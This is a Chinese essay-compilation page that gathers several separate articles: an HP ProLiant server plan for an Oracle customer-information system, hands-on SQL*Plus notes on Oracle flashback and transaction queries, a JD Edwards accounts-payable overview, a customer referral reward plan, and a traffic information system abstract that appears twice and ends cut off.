客户信息系统之Oracle方案

时间:2023-04-06 08:15:15 其他范文 收藏本文 下载本文

客户信息系统之Oracle方案(精选9篇)由网友“在逃麻薯”投稿提供,下面是小编整理过的客户信息系统之Oracle方案,欢迎您能喜欢,也请多多分享。

客户信息系统之Oracle方案

篇1:客户信息系统之Oracle方案

适用行业

各行业用户,中型企业

需求分析

用户提出信息管理服务器的需求:

运行7x24的核心业务应用(core business) 要求 系统的稳定性与可靠性。

作为数据中心的核心服务器 要求系统的性能扩 展与灵活性。

作为企业的长期投资项目 要求系统的投资保护 和投资回报。

合理有效地利用系统资源 要求系统管理工具 好用、实用。

对系统分区的期待。

需要对复杂系统的支持与维护的机制。

要求全方位系统支持服务。

用户对系统升级方案的要求:

(1)平台要求:

管理系统数据库服务器。系统数据库服务器运行oracle 8i enterprise edition 、oracle application 11.5.4、workflow2.5,预计有 1000(700并发用户)用户使用oracle 应用系统;要求管理系统数据库服务器的 tpc-c值应高于:40,000 tpm 。

管理系统应用服务器。管理系统应用服务 器运行developer6i(forms server,reports server,graphics 6i)、apache server 1.3.9、oracle jre 1.1.8,预计有1000 (700并发用户)用户使用oracle应用系 统;要求管理系统应用服务器的tpc-c 值应高于:42,000 tpm。

信贷综合管理系统数据库服务器。信贷综合管理系统数据库服务器运行oracle, 预计1000个数据库连接;要求信贷综合管理系统数据库服务器的tpc-c值应高于 360,000 tpm。

信贷综合管理系统application服务器。 信贷综合管理系统application服务器,预计个并发用户;要求信贷综合管理系统application服务器的tpc-c值应高于 320,000 tpm,采用双机运行,每台app服务器的tpc-c值应高于160,000 tpm。

(2) 存储要求:

管理系统数据库服务器

管理系统数据的存储容量大约在150gb。

一般从业务数据的安全性和稳定性出发,建议数据库服务器预留15%的空间,以应付数据膨胀、系统日志消耗等情况。所以管理系统的存储可用 容量配置为:150gb/0.85 = 177gb。

从保存数据的高可靠性方面考虑,存储设备要采用raid技术保存数据,raid 0/1后,系统存储容量要冗余50%左右,则某银行管理系统的存 储设备配置容量(裸盘容量)至少为: 177 gb/0.5= 354gb。

具体实施

本方案使用的是hp proliant ml570服务器构建中型企业客户信息系统crm(中型数据库应用)。

随着网络流量的不断加大,原有的服务器已经不堪重负,hp proliant ml570的出现则满足了今天对电子商务的需求,它具有最大的升级性、高 性能和高可用性。其采用最为先进的4 路intel xeon处理器,为企业应用带来了更好的性能。 同时具有更好的可用性,如先进的ecc内存技 术,热插拔冗余电源模块、网卡、风扇、硬盘 等,使宕机时间减至最低。hp proliant ml570 可满足所有企业级用户的数据存储需求,在4u 高度的服务器中可支持4块热插拔硬盘,内存可 扩至32gb。hp proliant ml570采用新的机箱设 计,这样更易维护而无需借助工具。新的led指 示灯和内置诊断显示可帮助故障诊断。

对于一些应用比较复杂的用户,所使用的数据库 系统占用系统资源比较多,因此需要更加强大的 处理能力,可以考虑使用hp的proliant dl740 和dl760服务器。

模拟配置:

处理器:双路以上至强处理器,2.8ghz主频

内 存:至少16gb

硬 盘: 4块以上scsi硬盘,可做raid5,硬盘转速 10000转以上

网 络:2块千兆网卡(支持捆绑)存储

首选服务器: hp proliant ml570(服务器支持外置存储) 存储器支持san架构的可扩展存储

首选存储器: hp storageworks modular san array (msa1000)

后期收益

对于本方案中的中型企业用户,客户资源的信息储备与查询同样重要。所以,在系统服务器选择上,我们发现,它既保证了服务器强大的数据处理能力,并能持久地保持稳定的运行状态,同时也在存储磁盘上增强了其扩展性与安全保护能力。因此,该方案的实施可以让用户最终得到一个稳定与性能并存的操作平台,同时它也便于系统的维护与数据管理。

应用设备

hp proliant ml570/dl740/dl760服务器

篇2:oracle之flashback深入研究

oracle之flashback深入研究

今天是-08-24,开始进行oracle flashback 内部原理研究,记录一下笔记,

SQL>startup

ORACLE instance started.

Total System Global Area 405020672 bytes

Fixed Size         2213816 bytes

Variable Size      260048968 bytes

Database Buffers     138412032 bytes

Redo Buffers        4345856 bytes

Database mounted.

Database opened.

SQL>

SQL>select * from t1;

ID    SAL JOB

---------- ---------- ----------

1     9 z

1     2 a

2     3 b

3     4 c

1     3 b

2     1 a

D

7 rows selected.

SQL>select xidusn,ubafil,ubablk from v$transaction;

no rows selected

SQL>delete from t1 where id=3;

1 row deleted.

SQL>select xidusn,ubafil,ubablk from v$transaction;

XIDUSN  UBAFIL  UBABLK

---------- ---------- ----------

17     8   2583

SQL>alter system dump datafile 8 block 2583;

System altered.

SQL>set vlaue for a60

SP2-0158: unknown SET option “vlaue”

SQL>col value for a60

SQL>set linesize 200

SQL>select * from v$diag_info where name='Default Trace File';

INST_ID NAME                              VALUE

---------- ---------------------------------------------------------------- ------------------------------------------------------------

1 Default Trace File                       /opt/app/oracle/diag/rdbms/rhys/RHYS/trace/RHYS_ora_1801.trc

SQL>commit;

Commit complete.

UNDO BLK:

xid: 0x0011.019.000000b4 seq: 0x23c cnt: 0x46 irb: 0x46 icl: 0x0 flg: 0x0000

Rec Offset   Rec Offset   Rec Offset   Rec Offset   Rec Offset

---------------------------------------------------------------------------

0x01 0x1f90  0x02 0x1f4c  0x03 0x1ef4  0x04 0x1eb0  0x05 0x1e58

0x06 0x1e14  0x07 0x1dbc  0x08 0x1d78  0x09 0x1d20  0x0a 0x1cdc

0x0b 0x1c84  0x0c 0x1c40  0x0d 0x1be8  0x0e 0x1ba4  0x0f 0x1b4c

0x10 0x1b08  0x11 0x1ab0  0x12 0x19d0  0x13 0x18f0  0x14 0x1868

0x15 0x1800  0x16 0x1794  0x17 0x1620  0x18 0x1508  0x19 0x1480

0x1a 0x1414  0x1b 0x13a8  0x1c 0x1224  0x1d 0x119c  0x1e 0x1134

0x1f 0x10c8  0x20 0x0f4c  0x21 0x0edc  0x22 0x0e54  0x23 0x0de8

0x24 0x0d7c  0x25 0x0d38  0x26 0x0ca0  0x27 0x0c14  0x28 0x0bd0

0x29 0x0b74  0x2a 0x0b18  0x2b 0x0ad4  0x2c 0x0a78  0x2d 0x0a1c

0x2e 0x09d8  0x2f 0x097c  0x30 0x0920  0x31 0x08dc  0x32 0x0880

0x33 0x0824  0x34 0x07dc  0x35 0x0778  0x36 0x071c  0x37 0x06d8

0x38 0x067c  0x39 0x0620  0x3a 0x05dc  0x3b 0x0580  0x3c 0x0524

0x3d 0x04e0  0x3e 0x0484  0x3f 0x0428  0x40 0x0340  0x41 0x02b4

0x42 0x0250  0x43 0x01e8  0x44 0x016c  0x45 0x0114  0x46 0x00d0

*-----------------------------

* Rec #0x22 slt: 0x19 objn: 468(0x000001d4) objd: 468 tblspc: 1(0x00000001)

*   Layer: 11 (Row) opc: 1 rci 0x00

Undo type: Regular undo  Begin trans  Last buffer split: No

Temp Object: No

Tablespace Undo: No

rdba: 0x00000000Ext idx: 0

flg2: 0

*-----------------------------

uba: 0x02000a17.023c.21 ctl max scn: 0x0000.00a82f35 prv tx scn: 0x0000.00a82f6f

txn start scn: scn: 0x0000.00a83315 logon user: 0

prev brb: 33580056 prev bcl: 0

KDO undo record:

KTB Redo

op: 0x04 ver: 0x01

compat bit: 4 (post-11) padding: 1

op: L itl: xid: 0x0010.000.000000cb uba: 0x0433.024f.39

flg: C---  lkc: 0  scn: 0x0000.00a832c7

KDO Op code: DRP row dependencies Disabled

xtype: XA flags: 0x00000000 bdba: 0x0080f7a9 hdba: 0x0080039a

itli: 1 ispac: 0 maxfr: 4858

tabn: 0 slot: 27(0x1b)

SQL>select to_number('a82f35','xxxxxxxxxxxxxxxx') sc from dual;

SC

----------

11022133

SQL>select current_scn from v$database;

CURRENT_SCN

-----------

11054748

SQL>

注意:闪回查询和undo_retention有直接关系;

eg:

SQL>update t1 set job='ab' where id=1;

3 rows updated.

SQL> select versions_starttime,versions_endtime,versions_xid,versions_operation,id,sal from t1 versions between timestamp minvalue and maxvalue

2 ;

VERSIONS_STARTTIME                             VERSIONS_ENDTIME  VERSIONS_XID  V    ID    SAL

--------------------------------------------------------------------------- -------------------- ---------------- - ---------- ----------

1     9

1     2

2     3

1     3

2     1

6 rows selected.

SQL>show parameter undo

NAME                TYPE    VALUE

------------------------------------ ----------- ------------------------------

_optimizer_undo_cost_change     string   11.2.0.1

_undo_autotune           boolean  FALSE

undo_management           string   AUTO

undo_retention           integer  60

undo_tablespace           string   UNDOTBS3

SQL>alter system set undo_retention=1800;

System altered.

SQL>select versions_starttime,versions_endtime,versions_xid,versions_operation,id,sal from t1 versions between timestamp minvalue and maxvalue;

VERSIONS_STARTTIME                             VERSIONS_ENDTIME  VERSIONS_XID  V    ID    SAL

--------------------------------------------------------------------------- -------------------- ---------------- - ---------- ----------

1     9

24-AUG-13 09.49.38 PM                                      11000300BF000000 D     3     4

1     2

2     3

24-AUG-13 09.49.38 P              3     4

M

1     3

2     1

8 rows selected.

1)闪回查询:

SQL>select * from t1 ;

ID    SAL JOB

---------- ---------- ----------

1     9 z

1     2 a

2     3 b

1     3 b

2     1 a

D

6 rows selected.

SQL>select * from t1 as of scn 11022133;

ID    SAL JOB

---------- ---------- ----------

1     2 a

2     3 b

3     4 c

1     3 b

2     1 a

D

6 rows selected.

SQL>

2)闪回版本查询:

SQL>r

1* select * from t1

ID    SAL JOB

---------- ---------- ----------

1     9 ab

1     2 ab

2     3 b

1     3 ab

2     1 a

D

6 rows selected.

SQL>delete from t1 where id=1;

3 rows deleted.

SQL>commit;

Commit complete.

SQL>select versions_startscn,versions_endscn,versions_xid,versions_operation,id,sal,job from t1 versions between scn minvalue and maxvalue;

VERSIONS_STARTSCN VERSIONS_ENDSCN VERSIONS_XID  V    ID    SAL JOB

----------------- --------------- ---------------- - ---------- ---------- ----------

11144497        0D001600D8000000 D     1     9 z

11144497              1     9 z

11144497        0D001600D8000000 D     1     3 b

11144497        0D001600D8000000 D     1     2 a

11054404        11000300BF000000 D     3     4 c

11144497              1     2 a

2     3 b

11054404              3     4 c

11144497              1     3 b

2     1 a

D

11 rows selected.

SQL>

SQL>

然后我们更具versions_xid找到相应的事务

3)事务查询;

借助flashback_transaction_query这个视图;

首先看一下 这个视图结构;

SSQL>desc flashback_transaction_query;

Name                                                       Null?  Type

----------------------------------------------------------------------------------------------------------------- -------- ----------------------------------------------------------------------------

XID                                                            RAW(8)

START_SCN                                                         NUMBER

START_TIMESTAMP                                                      DATE

COMMIT_SCN                                                        NUMBER

COMMIT_TIMESTAMP                                                     DATE

LOGON_USER                                                        VARCHAR2(30)

UNDO_CHANGE#                                                       NUMBER

OPERATION                                                         VARCHAR2(32)

TABLE_NAME                                                        VARCHAR2(256)

TABLE_OWNER                                                        VARCHAR2(32)

ROW_ID                                                          VARCHAR2(19)

UNDO_SQL                                                         VARCHAR2(4000)

SQL>

然后我们进行一次查询:

eg:

SQL>conn rhys/root

Connected.

SQL>select * from t1;

ID    SAL JOB

---------- ---------- ----------

2     3 b

3     1 a

D

1     1 ab

SQL>delete from t1 where id=1;

1 row deleted.

SQL>commit;

Commit complete.

SQL>select versions_startscn,versions_endscn,versions_xid,versions_operation,id,sal,job from t1 versions between scn minvalue and maxvalue;

VERSIONS_STARTSCN VERSIONS_ENDSCN VERSIONS_XID  V    ID    SAL JOB

----------------- --------------- ---------------- - ---------- ---------- ----------

11166640        13000A00D9000000 U     3     1 a

2     3 b

11166640              2     1 a

D

11187698        13001300DB000000 D     1     1 ab

11166640    11187698 13000A00D9000000 I     1     1 ab

6 rows selected.

SQL>select xid,logon_user,start_scn,operation,table_name,row_id,undo_sql from flashback_transaction_query where xid='13000A00D9000000';

select xid,logon_user,start_scn,operation,table_name,row_id,undo_sql from flashback_transaction_query where xid='13000A00D9000000'

*

ERROR at line 1:

ORA-01031: insufficient privileges

SQL>conn sys/root as sysdba

Connected.

SQL>select current_scn from v$database;

CURRENT_SCN

-----------

11187761

SQL>select xid,logon_user,start_scn,operation,table_name,row_id,undo_sql from flashback_transaction_query where xid='13001300DB000000';

XID       LOGON_USER           START_SCN OPERATION

---------------- ------------------------------ ---------- --------------------------------

TABLE_NAME

--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------

ROW_ID

-------------------

UNDO_SQL

--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------

13001300DB000000 RHYS                  0 UNKNOWN

T1

XID       LOGON_USER           START_SCN OPERATION

---------------- ------------------------------ ---------- --------------------------------

TABLE_NAME

--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------

ROW_ID

-------------------

UNDO_SQL

--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------

13001300DB000000 RHYS                  0 BEGIN

SQL>

但是没有任何undo_sql,查看网络发现如下:

#这里执行这个语句的意思是追加日志

supplemental logging 的定义 :

redo log一般用于实例恢复及介质恢复,

在redo log中这些数据被自动记录。不过一些

基于redo的application可能在redo log中记录额外的一些列。 这种记录额外列的过程

被称为supplemental logging

缺省情况下,数据库没有打开对supplemental logging的支持。

然后重新做实验如下:

SQL>alter database add supplemental log data;

Database altered.

SQL>select * from t1;

ID    SAL JOB

---------- ---------- ----------

2     3 b

2     1 a

D

SQL>update t1 set id=3 where job='D';

1 row updated.

SQL>commit;

Commit complete.

SQL>select versions_startscn,versions_endscn,versions_xid,versions_operation,id,sal,job from t1 versions between scn minvalue and maxvalue;

VERSIONS_STARTSCN VERSIONS_ENDSCN VERSIONS_XID  V    ID    SAL JOB

----------------- --------------- ---------------- - ---------- ---------- ----------

11144497        0D001600D8000000 D     1     9 z

11144497              1     9 z

11211146        0B001600DF000000 U     3      D

11144497        0D001600D8000000 D     1     3 b

11144497        0D001600D8000000 D     1     2 a

11144497              1     2 a

2     3 b

11144497              1     3 b

2     1 a

11211146                     D

10 rows selected.

SQL>select xid,logon_user,start_scn,operation,table_name,row_id,undo_sql from flashback_transaction_query where xid='0B001600DF000000';

^CERROR:

ORA-01013: user requested cancel of current operation

no rows selected

SQL>set timing on

SQL>r

1* select xid,logon_user,start_scn,operation,table_name,row_id,undo_sql from flashback_transaction_query where xid='0B001600DF000000'

XID       LOGON_USER           START_SCN OPERATION

---------------- ------------------------------ ---------- --------------------------------

TABLE_NAME

--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------

ROW_ID

-------------------

UNDO_SQL

--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------

0B001600DF000000 SYS               11211144 UPDATE

T1

AAASCgAAFAAAACHAAF

update “SYS”.“T1” set “ID” = NULL where ROWID = 'AAASCgAAFAAAACHAAF';

XID       LOGON_USER           START_SCN OPERATION

---------------- ------------------------------ ---------- --------------------------------

TABLE_NAME

--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------

ROW_ID

-------------------

UNDO_SQL

--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------

0B001600DF000000 SYS               11211144 BEGIN

Elapsed: 00:03:40.77

SQL>

可以看到sql了。

那么之前的事务是不是也能自动再重新记录sql呢?答案是否定的如下:

SQL>select xid,logon_user,start_scn,operation,table_name,row_id,undo_sql from flashback_transaction_query where xid=hextoraw('13001300DB000000');

XID       LOGON_USER           START_SCN OPERATION            TABLE_NAME                                   ROW_ID       UNDO_SQL

---------------- ------------------------------ ---------- -------------------------------- -------------------------------------------------------------------------------- ------------------- --------------------------------------------------------------------------------

13001300DB000000 RHYS                  0 UNKNOWN             T1

13001300DB000000 RHYS                  0 BEGIN

Executed in 0.063 seconds

SQL>

另外一个问题就来了,这个查询过程也忒慢了吧。因为xid为raw类型。这时候为了提高查询速度使用hextoraw进行转换,使用内部索引来提高查询速度。

eg:

SQL>set autotrace on

SQL>select xid,logon_user,start_scn,operation,table_name,row_id,undo_sql from flashback_transaction_query where xid=hextoraw('0B001600DF000000');

XID       LOGON_USER           START_SCN OPERATION

---------------- ------------------------------ ---------- --------------------------------

TABLE_NAME

--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------

ROW_ID

-------------------

UNDO_SQL

--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------

0B001600DF000000 SYS               11211144 UPDATE

T1

AAASCgAAFAAAACHAAF

update “SYS”.“T1” set “ID” = NULL where ROWID = 'AAASCgAAFAAAACHAAF';

XID       LOGON_USER           START_SCN OPERATION

---------------- ------------------------------ ---------- --------------------------------

TABLE_NAME

--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------

ROW_ID

-------------------

UNDO_SQL

--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------

0B001600DF000000 SYS               11211144 BEGIN

Elapsed: 00:00:00.03

Execution Plan

----------------------------------------------------------

Plan hash value: 1747778896

---------------------------------------------------------------------------------------------

| Id | Operation       | Name       | Rows | Bytes | Cost (%CPU)| Time  |

---------------------------------------------------------------------------------------------

| 0 | SELECT STATEMENT    |         |  1 | 2197 |  0 (0)| 00:00:01 |

|* 1 | FIXED TABLE FIXED INDEX| X$KTUQQRY (ind:1) |  1 | 2197 |  0 (0)| 00:00:01 |

---------------------------------------------------------------------------------------------

Predicate Information (identified by operation id):

---------------------------------------------------

1 - filter(“XID”=HEXTORAW('0B001600DF000000') )

Statistics

----------------------------------------------------------

36 recursive calls

1 db block gets

51 consistent gets

0 physical reads

0 redo size

1139 bytes sent via SQL*Net to client

523 bytes received via SQL*Net from client

2 SQL*Net roundtrips to/from client

3 sorts (memory)

0 sorts (disk)

2 rows processed

SQL>

对比一下:

SQL>select xid,logon_user,start_scn,operation,table_name,row_id,undo_sql from flashback_transaction_query where xid='0B001600DF000000';

XID       LOGON_USER           START_SCN OPERATION

---------------- ------------------------------ ---------- --------------------------------

TABLE_NAME

--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------

ROW_ID

-------------------

UNDO_SQL

--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------

0B001600DF000000 SYS               11211144 UPDATE

T1

AAASCgAAFAAAACHAAF

update “SYS”.“T1” set “ID” = NULL where ROWID = 'AAASCgAAFAAAACHAAF';

XID       LOGON_USER           START_SCN OPERATION

---------------- ------------------------------ ---------- --------------------------------

TABLE_NAME

--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------

ROW_ID

-------------------

UNDO_SQL

--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------

0B001600DF000000 SYS               11211144 BEGIN

Elapsed: 00:03:51.14

Execution Plan

----------------------------------------------------------

Plan hash value: 1115820779

------------------------------------------------------------------------------

| Id | Operation    | Name   | Rows | Bytes | Cost (%CPU)| Time  |

------------------------------------------------------------------------------

| 0 | SELECT STATEMENT |     |  1 | 2197 |  0 (0)| 00:00:01 |

|* 1 | FIXED TABLE FULL| X$KTUQQRY |  1 | 2197 |  0 (0)| 00:00:01 |

------------------------------------------------------------------------------

Predicate Information (identified by operation id):

---------------------------------------------------

1 - filter(RAWTOHEX(“XID”)='0B001600DF000000')

Statistics

----------------------------------------------------------

2936981 recursive calls

10 db block gets

3772792 consistent gets

14256 physical reads

0 redo size

1139 bytes sent via SQL*Net to client

523 bytes received via SQL*Net from client

2 SQL*Net roundtrips to/from client

731820 sorts (memory)

0 sorts (disk)

2 rows processed

SQL>

这就是闪回查询,闪回版本查询,闪回事务查询。

篇3:Oracle应付账款管理方案

问题:应付账款管理——不仅是支付账单

改善供应商关系

准确处理发票

有效管理现金流

企业的应付账款管理人员的责任不只是简单地支付账单,他们也要通过确保所有的交货、付款和合同条款的履行,来帮助构建良好的供应商关系。他们管理发票处理流程,以保证及时性和准确性。而且他们还要通过有针对性地使用发票折扣和战术性地选择现金流支出时间来增加盈利。要做到有效地平衡供应商的需求、支付条款、折扣和现金管理, 企业需要一套灵活和适应性强的系统对整个应付账款处理流程进行优化。

解决方案:一个灵活的集成化应付账款管理系统

Oracle JD Edwards EnterpriseOne应付账款管理系统提供了企业简化和个性化其应付账款运作所需的集成功能和灵活性。企业通过准确、及时地履行支付义务,加强了和供应商之间的关系。此外,利用自动的折扣计算和预付款支持功能,企业能够确保现金管理既高效又富有成效。

改进供应商关系

灵活性对于企业满足供应商的独特需求至关重要,应付账款管理系统则提供了各种工具帮助机构建立和维护个性化、高效的供应商合作伙伴关系。EnterpriseOne能支持各种付款条款并确保识别各种偏好,无论供应商是喜欢电子资金转账(ETFs)、汇款,还是支票支付方式。企业可以处理预付、特殊信息和多种货币支付请求。此外,供应商还可利用自助服务功能来审查应付帐款系统的凭证和付款,从而使企业及其供应商节省大量时间。

谈判获得更有利的供应商合同

集成提高了可视性。利用EnterpriseOne,机构可以按供应商访问账户余额和全部采购信息——并借助这一宝贵的信息来充分利用机构的采购能力获得更优惠的合同条款和条件,

更有利的合同定价不但能够实实在在地节省资金,而且为盈利性的长期供应商合作伙伴关系奠定基础。

建立敏捷、高效的发票处理

利用应付账款管理系统,机构会具有很大的灵活性来满足其独特的业务要求——无论是处理多种经常性发票,还是高额的预付款。该系统会根据预先设定自动计算税款、折扣和汇率。

这一功能使机构能够充分利用折扣优惠并根据合同条款向供应商付款,而不会中断应付账款处理过程。

JD Edwards EnterpriseOne支持各种不同的支付方式,包括电子资金转账、汇款和支票供机构选择。机构甚至可以建立多个银行账号以实现特定货币结算或利用银行提供的特殊折扣。而且,对于全球性的组织,EnterpriseOne还可满足其多种货币和多种语言的需要。

由于在整个应付账款管理系统中存在许多控制点,所以您可以选择有可能重复开发票时获得通知的方式——初步预警或者升级报警。前瞻性地检查具有相同号码的发票可以减少混乱、加强控制和帮助防止重复支付。

有效的现金管理

一种有效的现金管理方法是通过采用供应商偏好的支付方式, 来最大限度地获得折扣优惠。应付账款管理系统使企业能够在向供应商付款之前考虑多种(实际上数目不受限制)可变因素,包括付款期限,提供的折扣和库存现金数量。

无论您是自动支付凭证,还是手工支付,其结果总是可控,有效和准确的。根据当前的现金需求, 您可以组织凭证,利用应付账款管理系统来处理支付或选择手工支付、分批支付或部分支付凭证。在线查询功能允许您在授权付款之前对供应商逐个快速审查信息,如结转余额和未结项目。

应付账款管理系统提供及时和准确的现金流信息、账龄信息和折扣机会。通过在线访问实时的供应商信息、付款历史记录和凭证,您能够改进供应商关系,谈判获得更优惠的合同和控制现金流。

篇4:客户回馈之

客户回馈之

客户回馈之“感恩老友”奖赏活动方案

一、活动背景:

目前公司已拥有一定的客户群体,且销售压力增大,增速放缓。

二、活动目的:

1、维系与老客户的友好合作关系,感恩老客户的支持,回馈老客户。

2、拓展新客户的,推广公司项目。

3、缓解销售压力,促进销售速度的目标,推动客户转介活动。

三、活动时间:

7月1日~10月31日

四、活动对象:

所有客户以及订单客户

五、活动方式:

老客户向公司推荐新客户,并且达成成交意向,新客户签订确认书之后,将依据相关成 交情况给予老客户相应奖赏。

六、客户界定

1、老客户:与本项目已签订合同的客户。

2、新客户:在老客户的推荐下,首次了解公司项目,或在对项目有一定了解的基础上, 首次亲临本公司进行咨询,并成功签约的客户。

七、活动内容

1、老客户介绍的新客户是第一次到销售中心,新客户必须填写《好邻居推荐单》 。

2、参加此活动的客户必须是由以老带新的成交的新老客户,自行购买的'新成交客户不在此活动范围内。

3、新老客户必须签订合同,缴清地款。

4、新客户在签订合同后即享有与老客户一样的

优惠。

八、奖赏方式:

1、“感恩老友”基金(3000元)

2、“好朋友”基金(1000元)

3、代金券(价值500元)

4、“开门大吉”礼包(价值500元)

九、实施细则:

十、推广方式

1、口头告知

在新客户成交时,销售员给其详细介绍“以老带新”的回报

措施,利用首因效果加强其印象,使其成为“以老带新”中的忠实一员。

2、电话告知

活动确定后,销售员分批电话告知其老客户老带新推荐好邻客户群

奖励制度

已签订合同、缴款完毕,并向亲友介绍、推荐;且推荐购买成功的老客户

赠送

“感恩老友”基金3000元,此基金可依据推荐新客户成交的块数,进行累加。

在购买地块半年内动工的客户土地正式启用后赠送“开门大吉”礼包(价值 500元)

居基金活动信息,鼓励其以老带新,并每半个月进行再提醒;

4、在营销中心设置易拉宝介绍“感恩老友”奖赏活动措施及内容

十一、

活动流程:

1、首先填写《好邻居推荐单》

2、销售部负责人签字

3、新客户签约

4、成交后填写并发放老带新的“感恩老友”计划基金

注:推荐成功标志是新、老客户一起在新客户签约时,填写《好邻居推荐单》并 由销售中心主管签字。

篇5:城市交通信息系统结构方案研究

城市交通信息系统结构方案研究

摘要:先进的交通信息系统(ATIS)是智能交通系统的重要组成部分。本文的研究内容是ATIS在中国的结构方案。该文首先分析了交通信息系统在中国的发展情况,阐述了城市交通信息系统的重要性。在总结了国外近年来有关交通信息系统的开发和研究成果后,结合中国在行政管理方面的实际情况,提出了城市交通信息系统的结构方案:一个核心即交通信息中心,交通管理、电子收费、交通诱导、交通信息服务、地理信息、紧急救援、营运车辆管理、车辆安全辅助驾驶八个子系统以及道路交通管理和车辆管理两个数据库,阐述了各子系统的功能。 最后,预测了交通信息系统在中国实施后将产生的积极影响。

关键词:智能交通系统 城市 交通信息系统 结构方案

中文分类号:U491 文献标识码:A

1.引言

随着汽车交通运输的发展,交通拥挤、道路阻塞和交通事故频繁发生正越来越严重地困扰着世界上的各大城市。汽车工业发展引发的道路交通不能满足需求的种种交通问题越来越突出。与此同时,除了修建必要的'道路网以外,针对交通事故多发道路,需要紧急确保交通安全的道路,还建设了一系列的交通安全设施,如建设信号机、道路标识、交通指挥中心等有助于交通安全的设施,以期改善道路的交通环境,提高交通的顺畅性,这在一定程度上缓解了交通拥挤状况。但是,交通需求不断增长、交通系统日益复杂,单独从车辆方面或道路方面考虑,均很难有效地解决交通问题。于是,近年来把道路、车辆等,凡与交通有关的所有一切都归为一体,通过采用信息通信技术、电子技术以及其他的科学技术把它们联系起来,致力于使之智能化的智能交通系统(ITS)的研究开发应运而生。

先进的交通信息系统(ATIS)是ITS的重要组成部分,也是发展ITS的基础和关键技术,ATIS是建立在完善的信息网络基础上的,交通参与者通过装备在道路上、车上、换乘站上、停车场上以及气象中心的传感器和传输设备,可以向交通信息中心提供各处的交通信息;中心得到这些信息并通过处理后,实时向交通参与者提供道路交通信息、公共交通信息、换乘信息、交通气象信息、停车场信息以及与出行相关的其他信息;出行者根据这些信息确定自己的出行方式、选择路线。概括地说,交通信息系统就是要收集相关交通信息,分析、传递、提供信息,为出行者在从起点到终点的出行过程中提供实时帮助,使整个出行过程舒适、方便、高效。

近年来,信息技术得到了较快发展,在中国的个别城市,实现了部分开发的城市地图网上地理信息系统,如成都市,但是,目前在国内的各大中城市,综合运用信息网络技术建设相对完善的城市交通信息系统还没有一例。近来,在部分城市的交通管理规划中对交通信息系统有所涉及。如果把城市比作人体,那么,交通信息系统就象一双明亮的眼睛。在高度发达的信息社会,人类虽然有很多获取信息的途径,但是,若有一个完善的系统,能够让人们轻松地获取更多、更方便、更有价值的信息将是非常重要的。作为居民,不管在哪里,他都知道用最短的时间,走最近的路,办最快捷的事;作为一个交通管理者或物流业者,不管在何时,他都能耳聪目明,有的放矢,这一切都势必会对交通产生积极的影响,如缓解城市交通压力、减少环境污染、降低交通事故发生率、节约能源等。因此,研究与实施城市交通信息系统具有重要的理论价值和现实意义。

2.国外交通信息系统研究现状

许多发达国家近年来投入了大量的人力、物力和财力对先进的交通信息系统进行研究、试验和开发。下面就欧洲、美国及日本等一些国家有代表性的ATIS作一简要介绍。

2.1&n

[1] [2] [3] [4]

篇6:城市交通信息系统结构方案研究

摘要:先进的交通信息系统(ATIS)是智能交通系统的重要组成部分。本文的研究内容是ATIS在中国的结构方案。该文首先分析了交通信息系统在中国的发展情况,阐述了城市交通信息系统的重要性。在总结了国外近年来有关交通信息系统的开发和研究成果后,结合中国在行政管理方面的实际情况,提出了城市交通信息系统的结构方案:一个核心即交通信息中心,交通管理、电子收费、交通诱导、交通信息服务、地理信息、紧急救援、营运车辆管理、车辆安全辅助驾驶八个子系统以及道路交通管理和车辆管理两个数据库,阐述了各子系统的功能。 最后,预测了交通信息系统在中国实施后将产生的积极影响。

关键词:智能交通系统 城市 交通信息系统 结构方案

中文分类号:U491 文献标识码:A

1.引言

随着汽车交通运输的发展,交通拥挤、道路阻塞和交通事故频繁发生正越来越严重地困扰着世界上的各大城市。汽车工业发展引发的道路交通不能满足需求的种种交通问题越来越突出。与此同时,除了修建必要的道路网以外,针对交通事故多发道路,需要紧急确保交通安全的道路,还建设了一系列的交通安全设施,如建设信号机、道路标识、交通指挥中心等有助于交通安全的设施,以期改善道路的交通环境,提高交通的顺畅性,这在一定程度上缓解了交通拥挤状况。但是,交通需求不断增长、交通系统日益复杂,单独从车辆方面或道路方面考虑,均很难有效地解决交通问题。于是,近年来把道路、车辆等,凡与交通有关的所有一切都归为一体,通过采用信息通信技术、电子技术以及其他的科学技术把它们联系起来,致力于使之智能化的智能交通系统(ITS)的研究开发应运而生。

先进的交通信息系统(ATIS)是ITS的重要组成部分,也是发展ITS的基础和关键技术,ATIS是建立在完善的信息网络基础上的,交通参与者通过装备在道路上、车上、换乘站上、停车场上以及气象中心的传感器和传输设备,可以向交通信息中心提供各处的交通信息;中心得到这些信息并通过处理后,实时向交通参与者提供道路交通信息、公共交通信息、换乘信息、交通气象信息、停车场信息以及与出行相关的其他信息;出行者根据这些信息确定自己的出行方式、选择路线。概括地说,交通信息系统就是要收集相关交通信息,分析、传递、提供信息,为出行者在从起点到终点的出行过程中提供实时帮助,使整个出行过程舒适、方便、高效。

